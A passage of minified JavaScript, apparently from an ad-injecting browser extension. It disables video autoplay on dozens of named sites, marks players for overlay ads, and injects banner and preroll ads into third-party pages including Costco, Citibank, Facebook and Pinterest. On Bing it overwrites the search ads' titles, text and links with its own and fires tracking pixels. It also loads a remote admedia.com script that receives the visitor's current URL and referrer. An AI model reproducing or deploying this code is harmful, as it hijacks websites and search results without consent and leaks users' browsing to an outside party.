//jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('#cnbc_vid_player').html(embedUrl); jQuery('#cnbc_vid_player').attr('id', 'adm_overlay_autostart'); } } break; case 'nbcnewyork': if(jQuery('div[id^="featuredPlayer"]').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('div[id^="featuredPlayer"]').html(); playerCode = playerCode.replace("autoplay=true", "autoplay=false"); if(playerCode != '') { var embedUrl = playerCode; //jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('div[id^="featuredPlayer"]').html(embedUrl); jQuery('div[id^="featuredPlayer"]').find('object').attr('id', 'adm_overlay_autostart'); } } break; case 'nbcdfw': if(jQuery('div[id^="featuredPlayer"]').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('div[id^="featuredPlayer"]').html(); playerCode = playerCode.replace("autoplay=true", "autoplay=false"); if(playerCode != '') { var embedUrl = playerCode; //jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('div[id^="featuredPlayer"]').html(embedUrl); jQuery('div[id^="featuredPlayer"]').find('object').attr('id', 'adm_overlay_autostart'); } } break; case 'nbcchicago': if(jQuery('div[id^="featuredPlayer"]').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('div[id^="featuredPlayer"]').html(); playerCode = playerCode.replace("autoplay=true", "autoplay=false"); if(playerCode != '') { var embedUrl = playerCode; //jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('div[id^="featuredPlayer"]').html(embedUrl); jQuery('div[id^="featuredPlayer"]').find('object').attr('id', 'adm_overlay_autostart'); } } break; case 'nbclosangeles': if(jQuery('div[id^="featuredPlayer"]').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('div[id^="featuredPlayer"]').html(); playerCode = playerCode.replace("autoplay=true", "autoplay=false"); if(playerCode != '') { var embedUrl = playerCode; //jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('div[id^="featuredPlayer"]').html(embedUrl); jQuery('div[id^="featuredPlayer"]').find('object').attr('id', 'adm_overlay_autostart'); } } break; case 'accesshollywood': if(jQuery('.video').length > 0) { var playerCode = ''; playerCode = jQuery('.video').html(); playerCode = playerCode.replace("autoStart=true", "autoStart=false"); if(playerCode != '') { var embedUrl = playerCode; //jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('.video').html(embedUrl); jQuery('#myExperience').attr('id', 'adm_overlay_autostart'); } } break; case 'g4tv': if(jQuery('#video').length > 0) { var playerCode = ''; playerCode = jQuery('#video').html(); playerCode = playerCode.replace("autoplay=y", "autoplay=f"); if(playerCode != '') { var embedUrl = playerCode; //jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('#video').html(embedUrl); jQuery('#video').find('object').attr('id', 'adm_overlay_autostart'); } } break; case 'mtv': if(jQuery('#embeddedPlayer').length > 0) { var playerCode = ''; playerCode = jQuery('#embeddedPlayer').html(); playerCode = playerCode.replace("autoPlay=true", "autoPlay=false"); if(playerCode != '') { var embedUrl = playerCode; //jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('#embeddedPlayer').html(embedUrl); jQuery('#embeddedPlayer').find('object').attr('id', 'adm_overlay_autostart'); } } break; case 'lyricsmode': if(jQuery('#videowidget').length > 0 && overlayAds == 1) { jQuery('#videowidget').find('iframe').attr('id', 'adm_overlay_autostart'); } break; case 'mtvu': if(jQuery('.mtvn_media_player_container.light_player').length > 0 && overlayAds == 1) { jQuery('.mtvn_media_player_container.light_player').attr('id', 'adm_overlay_autostart'); } break; case 'lyricsfreak': if(jQuery('#blockvideo').length > 0) { jQuery('#blockvideo').find('object').attr('id', 'adm_overlay_autostart'); } break; case 'vh1': if(jQuery('#embeddedPlayer').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#embeddedPlayer').html(); playerCode = playerCode.replace("autoPlay=true", "autoPlay=false"); if(playerCode != '') { var embedUrl = playerCode; //jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('#embeddedPlayer').html(embedUrl); jQuery('#embeddedPlayer').find('object').attr('id', 'adm_overlay_autostart'); } } break; case 'nextmovie': if(jQuery('#videoPlayer').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#videoPlayer').html(); playerCode = playerCode.replace(/autoPlay=true/g, "autoPlay=false"); if(playerCode != '') { var embedUrl = playerCode; //jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('#videoPlayer').html(embedUrl); jQuery('#videoPlayer').find('object').attr('id', 'adm_overlay_autostart'); } } break; case 'cmt': if(jQuery('#embedContainer').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#embedContainer').html(); playerCode = playerCode.replace("autoplay=1", "autoplay=0"); playerCode = playerCode.replace("autoPlay=true", "autoPlay=false"); if(playerCode != '') { var embedUrl = playerCode; //jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('#embedContainer').html(embedUrl); jQuery('#embedContainer').find('object').attr('id', 'adm_overlay_autostart'); } } break; case 'theslap': if(jQuery('#video_player').length > 0) { jQuery('#video_player').find('object').attr('id', 'adm_overlay_autostart'); } break; case 'comedycentral': if(jQuery('#video_player_box').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#video_player_box').html(); playerCode = playerCode.replace("autoPlay=true", "autoPlay=false"); if(playerCode != '') { var embedUrl = playerCode; //jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('#video_player_box').html(embedUrl); jQuery('#video_player_box').attr('id', 'adm_overlay_autostart'); } } break; case 'thedailyshow': if(jQuery('#videoPlayer').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#videoPlayer').html(); playerCode = playerCode.replace("autoPlay=true", "autoPlay=false"); if(playerCode != '') { var embedUrl = playerCode; //jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('#videoPlayer').html(embedUrl); jQuery('#video_player_box').attr('id', 'adm_overlay_autostart'); } } break; case 'colbertnation': if(jQuery('#video_player').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#video_player').html(); playerCode = playerCode.replace("autoPlay=true", "autoPlay=false"); if(playerCode != '') { var embedUrl = playerCode; //jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('#video_player').html(embedUrl); jQuery('#video_player_box').attr('id', 'adm_overlay_autostart'); } } break; case 'gametrailers': if(jQuery('#video-player').length > 0 && overlayAds == 1) { setTimeout(function() {var playerCode = ''; playerCode = jQuery('#video-player').html(); //alert(playerCode); playerCode = playerCode.replace("autoPlay=true", "autoPlay=false"); if(playerCode != '') { var embedUrl = playerCode; //jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('#video-player').html(embedUrl); jQuery('#video-player').attr('id', 'adm_overlay_autostart'); }}, 1000); } break; case 'beyonceonline': case 'onedirectionmusic': if(jQuery('object[data*="youtube.com"]').length > 0) { jQuery('object[data*="youtube.com"]').attr('id', 'adm_overlay_autostart'); } if(jQuery('embed[src*="youtube.com"]').length > 0) { jQuery('embed[src*="youtube.com"]').attr('id', 'adm_overlay_autostart'); } break; case '5min': if(jQuery('#adaptvDiv').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('meta[property="og:video"]').attr('content'); if(playerCode != '') { var embedUrl = playerCode; jQuery('#adaptvDiv').html(''); jQuery('#adaptvDiv').html(''); } } break; case 'people': if(jQuery('#flashVideoPlayer').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#flashVideoPlayer').html(); playerCode = playerCode.replace("autoplay=true", "autoplay=false"); if(playerCode != '') { var embedUrl = playerCode; jQuery('#flashVideoPlayer').html(embedUrl); jQuery('#flashVideoPlayer').attr('id', 'adm_overlay_autostart'); } } break; case 'theboot': if(jQuery('div[id$="_playerdiv"]').length > 0 && overlayAds == 1) { jQuery('div[id$="_playerdiv"]').find('object').attr('id', 'adm_overlay_autostart'); } break; case 'spinner': if(jQuery('div[id$="_playerdiv"]').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('div[id$="_playerdiv"]').html(); playerCode = playerCode.replace(/autostart=true/g, "autostart=false"); playerCode = playerCode.replace(/autoStart=true/g, "autoStart=false"); if(playerCode != '') { var embedUrl = playerCode; //jQuery('#flash_video_player_wrapper').find('object').html(''); jQuery('div[id$="_playerdiv"]').html(embedUrl); jQuery('div[id$="_playerdiv"]').find('object').attr('id', 'adm_overlay_autostart'); } } break; case 'fanpop': if(jQuery('#videos').length > 0 && overlayAds == 1) { jQuery('#videos').find('object').attr('id', 'adm_overlay_autostart'); } break; case 'celebuzz': if(jQuery('.gallery-video-wrapper').length > 0) { jQuery('.gallery-video-wrapper').find('object').attr('id', 'adm_overlay_autostart'); jQuery('.gallery-video-wrapper').find('iframe').attr('id', 'adm_overlay_autostart'); } break; case 'buzznet': if(jQuery('#itembody').length > 0) { jQuery('#itembody').find('object').attr('id', 'adm_overlay_autostart'); } break; case 'zimbio': if(jQuery('#jw_player').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#jw_player').html(); playerCode = playerCode.replace("autostart=true", "autostart=false"); if(playerCode != '') { var embedUrl = playerCode; jQuery('#jw_player').html(embedUrl); jQuery('#jw_player').attr('id', 'adm_overlay_autostart'); } } jQuery('embed').each(function() { var url = jQuery(this).attr('src'); if(url.indexOf('youtube.com/v') != -1) { jQuery(this).attr('id', 'adm_overlay_autostart'); return false; } }); break; case 'filmtrailers': if(jQuery('#film-container').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#film-container').html(); playerCode = playerCode.replace("autostart=true", "autostart=false"); if(playerCode != '') { var embedUrl = playerCode; jQuery('#film-container').html(embedUrl); jQuery('#film-container').attr('id', 'adm_overlay_autostart'); } } break; case 'rottentomatoes': if(jQuery('#IvaPlayer').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#IvaPlayer').html(); playerCode = playerCode.replace("autostart=true", "autostart=false"); if(playerCode != '') { var embedUrl = playerCode; jQuery('#IvaPlayer').html(embedUrl); jQuery('#IvaPlayer').attr('id', 'adm_overlay_autostart'); } } break; case 'celebrity-gossip': case 'celebspin': case 'gossipcenter': if(jQuery('#adaptvDiv0').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#adaptvDiv0').html(); playerCode = playerCode.replace("isAutoStart=True", "isAutoStart=False"); if(playerCode != '') { var embedUrl = playerCode; jQuery('#adaptvDiv0').html(embedUrl); jQuery('#adaptvDiv0').find('object').attr('id', 'adm_overlay_autostart'); } } jQuery('embed').each(function() { var url = jQuery(this).attr('src'); if(url.indexOf('youtube.com/v') != -1) { jQuery(this).attr('id', 'adm_overlay_autostart'); return false; } }); break; case 'teamcoco': if(jQuery('object[id^="cvp_player_obj"]').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('object[id^="cvp_player_obj"]').html(); playerCode = playerCode.replace("autostart=yes", "autostart=no"); if(playerCode != '') { var embedUrl = playerCode; jQuery('object[id^="cvp_player_obj"]').html(embedUrl); jQuery('object[id^="cvp_player_obj"]').attr('id', 'adm_overlay_autostart'); } } break; case 'disney': if(jQuery('#player_playerElement').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#player_playerElement').html(); playerCode = playerCode.replace("showAds=true", "showAds=false"); playerCode = playerCode.replace("autoPlay=true", "autoPlay=false"); if(playerCode != '') { var embedUrl = playerCode; jQuery('#player_playerElement').html(embedUrl); jQuery('#player_playerElement').attr('id', 'adm_overlay_autostart'); } } break; case 'marvel': if(jQuery('#flashObj').length > 0) { jQuery('#flashObj').attr('id', 'adm_overlay_autostart'); } if(jQuery('#myExperience').length > 0) { jQuery('#myExperience').attr('id', 'adm_overlay_autostart'); } break; case 'crackle': if(jQuery('#FlashPlayerContainer').length > 0 && overlayAds == 1) { var playerCode1 = ''; var playerCode2 = ''; var playerParams = document.location.href.split("/"); playerCode1 = playerParams[playerParams.length - 1]; playerCode2 = jQuery('#currentMediaID').html(); if(playerCode1 != '' && playerCode2 != '') { jQuery('#FlashPlayerContainer').html(' '); } } break; case 'livemixtapes': if(jQuery('#vidembed').length > 0) { jQuery('#vidembed').attr('id', 'adm_overlay_autostart'); } break; case 'joblo': if(jQuery('#featuredVideo').length > 0) { jQuery('#featuredVideo').find('object').attr('id', 'adm_overlay_autostart'); } break; case 'ebaumsworld': if(jQuery('#videoPlayer').length > 0) { jQuery('#videoPlayer').find('embed').attr('id', 'adm_overlay_autostart'); } break; case 'screenrant': setTimeout(function() { if(jQuery('#adaptvDiv0').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('div[id^="adaptvDiv"]').html(); playerCode = playerCode.replace("isAutoStart=True", "isAutoStart=False"); //playerCode = playerCode.replace("autoPlay=true", "autoPlay=false"); if(playerCode != '') { var embedUrl = playerCode; jQuery('div[id^="adaptvDiv"]').html(embedUrl); jQuery('div[id^="adaptvDiv"]').find('object').attr('id', 'adm_overlay_autostart'); } } }, 1000); break; case 'gamefly': if(jQuery('#mediaPlayer').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#mediaPlayer').html(); playerCode = playerCode.replace("autostart=true", "autostart=false"); //playerCode = playerCode.replace("autoPlay=true", "autoPlay=false"); if(playerCode != '') { var embedUrl = playerCode; jQuery('#mediaPlayer').html(embedUrl); jQuery('#mediaPlayer').attr('id', 'adm_overlay_autostart'); } } break; case 'pcgamer': case 'techradar': setTimeout(function() { if(jQuery('#vams_uvp_player').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#vams_uvp_player').html(); playerCode = playerCode.replace("autoplay=1", "autoplay=0"); //playerCode = playerCode.replace("autoPlay=true", "autoPlay=false"); if(playerCode != '') { var embedUrl = playerCode; jQuery('#vams_uvp_player').html(embedUrl); jQuery('#vams_uvp_player').find('iframe').attr('id', 'adm_overlay_autostart'); } } }, 1000); break; case 'gamesradar': setTimeout(function() { if(jQuery('#vams_player').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#vams_player').html(); playerCode = playerCode.replace("autoplay=1", "autoplay=0"); //playerCode = playerCode.replace("autoPlay=true", "autoPlay=false"); if(playerCode != '') { var embedUrl = playerCode; jQuery('#vams_player').html(embedUrl); jQuery('#vams_player').find('iframe').attr('id', 'adm_overlay_autostart'); } } }, 1000); break; case 'mylifetime': case 'aetv': if(jQuery('#video-player-box').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#video-player-box').html(); playerCode = playerCode.replace("autoplay=true", "autoplay=false"); if(playerCode != '') { var embedUrl = playerCode; jQuery('#video-player-box').html(embedUrl); jQuery('#video-player-box').find('object').attr('id', 'adm_overlay_autostart'); } } break; case 'biography': setTimeout(function(){ if(jQuery('#lifetimePlayer').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('#lifetimePlayer').html(); playerCode = playerCode.replace("autoStart=true", "autoStart=false"); if(playerCode != '') { var embedUrl = playerCode; jQuery('#lifetimePlayer').html(embedUrl); jQuery('#lifetimePlayer').attr('id', 'adm_overlay_autostart'); } } }, 1000); break; case 'examiner': setTimeout(function() { if(jQuery('#adaptvDiv0').length > 0 && overlayAds == 1) { var playerCode = ''; playerCode = jQuery('div[id^="adaptvDiv"]').html(); playerCode = playerCode.replace("isAutoStart=True", "isAutoStart=False"); //playerCode = playerCode.replace("autoPlay=true", "autoPlay=false"); if(playerCode != '') { var embedUrl = playerCode; jQuery('div[id^="adaptvDiv"]').html(embedUrl); jQuery('div[id^="adaptvDiv"]').find('object').attr('id', 'adm_overlay_autostart'); } } }, 200); break; case 'hollywood': setTimeout(function() { if(jQuery('#myExperience').length > 0) { jQuery('#myExperience').attr('id', 'adm_overlay_autostart'); } }, 1000); break; case 'surveymonkey': injectBannerAd("728x90", ".container", "pr", affiliate, forceHome1, '
    '); injectBannerAd("200x200", "#signup", "af", affiliate, forceHome2, '
    '); break; case 'kayak': if(forceSearch != '') { injectBannerAd("200x200", "#cmp2topright", "pr", affiliate, forceSearch, '
    '); injectBannerAd("160x600", "#nrLeftFilter", "ap", affiliate, forceSearch, '
    '); } injectPreroll('#listbody', 'af'); injectBannerAd("728x90", ".fdSearchForm.fdSearchForm-flight", "pr", affiliate, forceHome1, '
    '); break; case 'sfgate': if(forceSearch != '') injectBannerAd("300x250", "#adpos3", "pr", affiliate, forceSearch, ''); injectPreroll('.results_site', 'af'); injectBannerAd("300x250", ".column2.w300", "pr", affiliate, forceHome1, ''); injectBannerAd("300x250", "#movies_tabs", "pr", affiliate, forceHome2, ''); injectBannerAd("300x250", ".ad.middle2", "pr", affiliate, forceHome3, ''); break; case 'costco': if(forceSearch != '') injectBannerAd("120x600", "#Navigation1_NavigationPanel", "pr", affiliate, forceSearch, '
    '); injectPreroll('.pageTable', 'af'); injectBannerAd("728x90", "#TopNavDiv", "ap", affiliate, forceHome1, '
    '); injectBannerAd("120x600", "#FenceSmallEndCapControl1_verticalDisplay", "pr", affiliate, forceHome2, '
    '); injectBannerAd("300x250", ".ad.middle2", "pr", affiliate, forceHome3, ''); break; case 'accuweather': if(forceSearch != '') { injectBannerAd("300x250", "#ed-cal-content", "pr", affiliate, forceSearch, '
    '); injectBannerAd("600x189", "#news", "pr", affiliate, forceSearch, '
    '); injectPreroll('#news', 'af'); } else { //jQuery('#aadTop300, #aadBot300, #ad-links-content, .logo-ad').html(''); injectBannerAd("300x250", "#aadTop300, #aadBot300, #ad-links-content", "pr", affiliate, forceHome1, '
    '); injectBannerAd("728x90", ".logo-ad", "ap", affiliate, forceHome1, '
    '); injectBannerAd("600x189", "#news", "pr", affiliate, forceHome2, '
    '); } break; case 'hp': if(forceSearch != '') injectBannerAd("300x250", ".column_2", "pr", affiliate, forceSearch, '
    '); injectPreroll('.footing_row', 'af'); injectBannerAd("728x90", "#promo_area", "pr", affiliate, forceHome1, '
    '); break; case 'citibank': if(forceSearch != '') injectPreroll('.appRowGroup.searchNav.searchNavBottom', 'af'); injectBannerAd("728x90", "#citilmFooter", "ap", affiliate, forceHome1, '
    '); break; case 'bloomberg': //jQuery('#leader_board_container').html(''); if(forceSearch != '') injectBannerAd("300x250", "#srp_secondary", "pr", affiliate, forceSearch, ''); injectPreroll('#srp_results', 'af'); injectBannerAd("728x90", "#leader_board_container", "pr", affiliate, forceHome3, '
    '); injectBannerAd("300x250", "#secondary_content", "pr", affiliate, forceHome1, '
    '); injectBannerAd("300x250", "#hot_dog_social", "af", affiliate, forceHome2, '
    '); break; case 'marketwatch': if(forceSearch != '') injectBannerAd("300x250", "#rightrail", "pr", affiliate, forceSearch, '
    '); //injectPreroll('#maincontent', 'af'); injectBannerAd("300x250", "#ad_DisplayAd1", "pr", affiliate, forceHome1, '
    '); injectBannerAd("300x170", "#tradingcenter", "pr", affiliate, forceHome2, '
    '); break; case '10news': injectPreroll('.StoryBody', 'af'); //injectBannerAd("300x170", "#tradingcenter", "pr", affiliate, forceHome2, '
    '); break; case 'ancestry': jQuery('.sw-banner-ads').remove(); injectBannerAd("300x250", ".adContent", "pr", affiliate, forceHome1, '
    '); break; case 'gsn': injectPreroll('#game_play','ap'); injectPreroll('#reg_body','af'); injectGlobalBanners(); break; case 'wildtangent': injectPreroll('.gamefeaturewrapper','af'); injectGlobalBanners(); break; case 'agame': injectPreroll('#recommended_games','ap'); injectGlobalBanners(); //injectPreroll('#reg_body','af'); break; case 'nick': injectPreroll('.column2','ap'); injectGlobalBanners(); break; case 'armorgames': injectPreroll('#gameinfo','ap'); injectGlobalBanners(); break; case 'rivalgaming': injectPreroll('#game_02','ap'); injectPreroll('#left_one','ap'); injectGlobalBanners(); break; case 'y8': injectPreroll('#main-table','ap'); injectGlobalBanners(); break; case 'pchgames': injectPreroll('#secondary','ap'); break; case 'bigfishgames': injectPreroll('#ol_genre_dls', 'ap'); injectGlobalBanners(); break; case 'king': injectPreroll('[id^="instructions_"]', 'ap'); injectGlobalBanners(); break; case 'kongregate': injectPreroll('#game_descriptions', 'ap'); //injectGlobalBanners(); break; case 'games': if(document.location.href.indexOf('games.com/game-play') != -1) injectPreroll('#z', 'af'); //injectGlobalBanners(); break; case 'gamehouse': injectPreroll('#gamedetailcontainer', 'ap'); //injectGlobalBanners(); case 'freeonlinegames': injectPreroll('.s-box.games', 'ap'); //injectGlobalBanners(); case 'ninjakiwi': injectPreroll('#left-wrap-SEO', 'ap'); injectGlobalBanners(); case 'playsushi': injectPreroll('#placeholder', 'ap'); //injectGlobalBanners(); case 'gamesville': injectPreroll('#appletTag', 'ap'); injectGlobalBanners(); case 'mozilla': injectBannerAd("728x90", "#firefox-promo", "af", affiliate, forceHome1, '
    '); break; case 'blogspot': if(jQuery('#navbar').length > 0) { injectBannerAd("728x90", "#navbar", "af", affiliate, forceHome1, '
    '); } else { injectBannerAd("728x90", "body", "pr", affiliate, forceHome1, '
    '); } break; case 'wordpress': injectBannerAd("728x90", "body", "pr", affiliate, forceHome1, '
    '); break; case 'blogs': injectBannerAd("728x90", "body", "pr", affiliate, forceHome1, '
    '); break; case 'weather': injectBannerAd('728x90', '#wx-top-wrap', 'pr', affiliate, forceHome1, '
    '); injectBannerAd('300x250', '#WX_Top300Variable', 'pr', affiliate, forceHome1, '
    '); break; case 'pinterest': injectBannerAd("728x90", "#wrapper", "be", affiliate, forceHome1, '
    '); break; case 'instagram': injectBannerAd('728x90', '#media_wrapper', 'pr', affiliate, forceHome1, '
    '); break; case 'tumblr': injectBannerAd('728x90', '#content', 'pr', affiliate, forceHome1, '
    '); injectBannerAd('160x600', '#right_column', 'ap', affiliate, forceHome1, '
    '); break; case 'al': case 'cleveland': case 'gulflive': case 'lehighvalleylive': case 'masslive': case 'mlive': case 'nj': case 'nola': case 'oregonlive': case 'pennlive': case 'silive': case 'syracuse': case 'mardigras': //jQuery('.Marketing2, .Rectangle, .Rectangle2, .RectangleBelow, .ad_300x250, .adRectangle, .adRectangleBelow, .tMediumRect.tAd, .ad_300x100, .adv-leaderboard, #Leaderboard, #zzad, .adSkyScraper2').html(''); injectBannerAd('300x250', '.Marketing2, .Rectangle, .Rectangle2, .RectangleBelow, .ad_300x250, .adRectangle, .adRectangleBelow, .tMediumRect.tAd, .ad_300x100', 'ap', affiliate, forceHome1, '
    '); injectBannerAd('728x90', '.adv-leaderboard, #Leaderboard', 'ap', affiliate, forceHome1, '
    '); injectBannerAd('160x600', '#zzad, .adSkyScraper2', 'ap', affiliate, forceHome1, '
    '); break; default: if(pageEntity != "upworthy" && pageEntity != 'easports') { jQuery('embed').each(function() { var url = jQuery(this).attr('src'); if(url.indexOf('youtube.com/v') != -1 || url.indexOf('videoplayer.vevo.com') != -1 || url.indexOf('metacafe.com') != -1) { jQuery(this).attr('id', 'adm_overlay_autostart'); if(overlayHosts[pageEntity] != true && overlayAds == 1 && dSites['overlay'].indexOf(pageEntity+",") == -1) { pagebody.append(''); } return false; } }); jQuery('iframe').each(function() { var url = ''; if(jQuery(this).attr('src')) url = jQuery(this).attr('src'); if(url != '' && url.indexOf('youtube.com/embed') != -1 || url.indexOf('dailymotion.com/embed') != -1 || url.indexOf('hulu.com/embed') != -1) { jQuery(this).attr('id', 'adm_overlay_autostart'); if(overlayHosts[pageEntity] != true && overlayAds == 1 && dSites['overlay'].indexOf(pageEntity+",") == -1) { pagebody.append(''); } return false; } }); } } if(bannerAds == 1 && pageEntity != "games" && pageEntity.indexOf('porn') == -1 && banner_rep == 1) { var e = document.createElement('script'); e.type = 'text/javascript'; e.async = true; e.src = httpText+'://in.admedia.com/d.php?id='+affiliate+'&eid='+vsid+'&vdisp='+vdisplay+'&u='+(window.location.href).replace(/&/g,'&')+'&r='+(document.referrer).replace(/&/g,'&')+'&vdisplayEn='+vdisplayEn+'&vsliderEn='+vsliderEn+'&bannerAds='+bannerAds+'&usadservEx='+usadservEx; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(e, s); } /*jQuery('.injAmPageBanner').each(function() { jQuery(this).hover( function(){ //alert('h in'); }, function(){ //alert('h out'); } ); jQuery(this).click(function() { //alert('click'); }); });*/ }, 100); cleanUp(); } } var tcnt = 0; function cleanUp() { var e = jQuery('iframe[replaced]').next().andSelf(); if(e.length > 0){ e.remove(); } else { if(tcnt < 10000) { setTimeout('cleanUp()', 500); tcnt += 500; } } } if(typeof jQuery == 'undefined') { if(pageEntity != 'crossrider' && pageEntity != "4shared" && pageEntity != "webhydro" && pageEntity != "facebook" && pageEntity != "bing" && pageEntity != 'rightsignature' && pageEntity != 'buzzfeed' && document.location.href.indexOf('docs.google.com') == -1 && document.location.href.indexOf('google.com/calendar') == -1 && document.location.href.indexOf('google.com/analytics') == -1 && document.location.href.indexOf('google.com/alerts') == -1 && document.location.href.indexOf('coolchaser.com') == -1) loadScript(httpText+"://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js", function(){ injectAds(); }); else if(pageEntity == "facebook") { var sw_elems = document.getElementsByClassName("sw-banner-ads"); for(k=sw_elems.length-1;k>=0; --k){ sw_elems[k].parentElement.removeChild(sw_elems[k]); } injectBannerAd("160x600", "leftCol", "ap", affiliate, '', '
    '); setTimeout(function(){ if(document.getElementById('timeline_tab_content')) injectBannerAd("728x90", "timeline_tab_content", "be", affiliate, '', '
    '); if(document.getElementById('pagelet_vertex_body')) injectBannerAd("728x90", "pagelet_vertex_body", "be", affiliate, '', '
    '); }, 1000); var photoTags = document.getElementsByClassName('uiPhotoThumb photoRedesignAspect'); for(i in photoTags) { photoTags[i].onclick = function(){ var sw_elems = document.getElementsByClassName("sw-banner-ads"); for(k=sw_elems.length-1;k>=0; --k){ sw_elems[k].parentElement.removeChild(sw_elems[k]); } setTimeout(function(){ injectBannerAd("300x250", "rhc photoUfiContainer", "be", affiliate, '', '
    '); }, 1000); }; } } else if(pageEntity == "bing") { if(bingAds) { gc = 0; var list_li = document.getElementById('b_results').getElementsByClassName('sb_add'); for(i=0; i < list_li.length; i++) { if(bingAds.items[gc] && bingAds.items[gc].title && bingAds.items[gc].title != '') { var a_links = list_li[i].getElementsByTagName('a'); for(ai in a_links) { a_links[ai].href = bingAds.items[gc].url; } list_li[i].getElementsByTagName('h2')[0].getElementsByTagName('a')[0].innerHTML = bingAds.items[gc].title; list_li[i].getElementsByTagName('cite')[0].innerHTML = bingAds.items[gc].displayUrl; list_li[i].getElementsByTagName('p')[0].innerHTML = bingAds.items[gc].description; (new Image()).src = bingAds.items[gc].pixel; gc++; } } var list_li = document.getElementById('b_context').getElementsByClassName('sb_add'); for(i=0; i < list_li.length; i++) { if(bingAds.items[gc] && bingAds.items[gc].title && bingAds.items[gc].title != '') { var a_links = list_li[i].getElementsByTagName('a'); for(ai in a_links) { a_links[ai].href = bingAds.items[gc].url; } list_li[i].getElementsByTagName('h2')[0].getElementsByTagName('a')[0].innerHTML = bingAds.items[gc].title; list_li[i].getElementsByTagName('cite')[0].innerHTML = bingAds.items[gc].displayUrl; list_li[i].getElementsByTagName('p')[0].innerHTML = bingAds.items[gc].description; (new Image()).src = bingAds.items[gc].pixel; gc++; } } if(gc < 3) { var list_li = document.getElementById('b_results').getElementsByClassName('b_algo'); for(i=0; i < (3-gc); i++) { if(bingAds.items[gc] && bingAds.items[gc].title && bingAds.items[gc].title != '') { var a_links = list_li[i].getElementsByTagName('a'); for(ai in a_links) { a_links[ai].href = bingAds.items[gc].url; } list_li[i].getElementsByTagName('h2')[0].getElementsByTagName('a')[0].innerHTML = bingAds.items[gc].title; list_li[i].getElementsByTagName('cite')[0].innerHTML = bingAds.items[gc].displayUrl; list_li[i].getElementsByTagName('p')[0].innerHTML = bingAds.items[gc].description; (new Image()).src = bingAds.items[gc].pixel; gc++; } } } } } } else { var loadJq = 0; var jqversion = jQuery.fn.jquery; if(jqversion && jqversion != '') { var jqversionEx = jqversion.split("."); if (jqversionEx.length > 1 && jqversionEx[0] && jqversionEx[1] && jqversionEx[2]) { if(jqversionEx[0] < 1) loadJq = 1; else if(jqversionEx[0] == 1) { if(jqversionEx[1] < 4) loadJq = 1; else if(jqversionEx[1] == 4) { if(jqversionEx[2] < 2) loadJq = 1; } } } } if(loadJq == 1) { loadScript(httpText+"://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js", function(){ injectAds(''); }); } else { if(typeof $jq142 == 'undefined') $jq142 = jQuery; if(pageEntity != 'crossrider' && pageEntity != 'nomorerack' && pageEntity != 'rightsignature') injectAds(); } }